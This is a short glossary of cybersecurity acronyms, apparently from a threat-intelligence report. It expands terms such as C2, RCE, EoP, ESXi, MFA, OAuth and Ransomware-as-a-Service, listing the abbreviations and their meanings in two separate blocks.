BIP-39
c2
Cis
CKYC
EoP
ESXi
KVM
LNK
MFA
oIDC
OAuth
PAN-OS
PHP
PyPI
Raa$S
RCE
TFTP
TOTP
V8

WMI

Active Directory Federation Services
Adversary-in-the-Middle

Antimalware Scan Interface

Bitcoin Improvement Proposal 39 (Mnemonic Code for Generating Deterministic Keys)

Command and Control
Commonwealth of Independent States
Central Know Your Customer
Elevation of Privilege

VMware ESXi Hypervisor
Kernel-based Virtual Machine
Windows Shortcut File

Multi-Factor Authentication

OpenID Connect

Open Authorization Framework

Palo Alto Networks Operating System
Hypertext Preprocessor

Python Package Index
Ransomware-as-a-Service

Remote Code Execution

Trivial File Transfer Protocol
Time-based One-Time Password
Google Chrome JavaScript Engine

Windows Management Instrumentation
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